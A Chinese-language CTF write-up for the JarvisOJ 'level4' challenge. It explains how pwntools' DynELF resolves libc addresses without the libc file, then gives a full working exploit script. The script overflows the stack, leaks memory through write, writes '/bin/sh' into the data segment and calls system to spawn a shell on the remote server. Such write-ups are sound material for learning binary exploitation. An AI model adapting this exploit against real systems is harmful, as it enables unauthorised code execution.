当题目未提供libc.so的时候
可以使用DynELF寻找我们需要函数的地址
关于DynELF(https://blog.csdn.net/qq_40827990/article/details/86689760)
我的理解是,DynELF通过它自己有的各种libc.so去爆破该ELF的libc.so
所以需要一个leak函数支持多次的write函数之类的功能
就好比可以
while 1:
leak()
leak的参数addr 是我们需要用write写出数据的地址
函数内写/接受 4字节8字节都行 返回不需要u32(data) 直接返回data
DynELF(leak,elf=elf) 第一个参数就是leak函数 第二个参数是你的程序elf
之后使用lookup("function_name","libc") function_name就是需要查询的函数真实地址 返回为int
还有一点就是 leak里面返回main有时候行不通 估计是堆栈的原因
所以返回start 把所有东西全清空
改题构造leak之后 找到system地址
通过read 把"/bin/sh"读到data段 (一般是bss段,不过这里bss段太短了装不下,所以找可执行的data段)
注意read的使用要严格控制字符数 也就是第三个参数
最开始这里使用了io.sendline("/bin/sh\x00")
字符串里面8个字符,但是还sendline还在末尾加了换行符导致exp出错
from pwn import *
io=remote('pwn2.jarvisoj.com',9880)
# io=process('./level4')
elf=ELF('./level4')
start_addr=0x08048350
write_plt=0x08048340
read_plt=0x08048310
def leak(addr):
payload='a'*(0x88+4)+p32(write_plt)+p32(start_addr)
payload+=p32(1)+p32(addr)+p32(8)
io.sendline(payload)
leaked=io.recv(8) # 8 or 4 try
# print("%#x -> %s" %(addr, (context or '').encode('hex')))
return leaked
d=DynELF(leak,elf=elf)
system_addr=d.lookup('system','libc')
print "system_addr:"+hex(system_addr)
# read_addr=d.lookup('read','libc')
# print "read_addr:"+hex(read_addr)
data_addr=0x0804A01C
payload='a'*(0x88+4)+p32(read_plt)+p32(start_addr)
payload+=p32(0)+p32(data_addr)+p32(8)
io.sendline(payload)
io.send("/bin/sh\x00")
#io.sendline("/bin/sh\x00") wrong!!!
payload='a'*(0x88+4)+p32(system_addr)+p32(start_addr)
payload+=p32(data_addr)
io.sendline(payload)
io.interactive()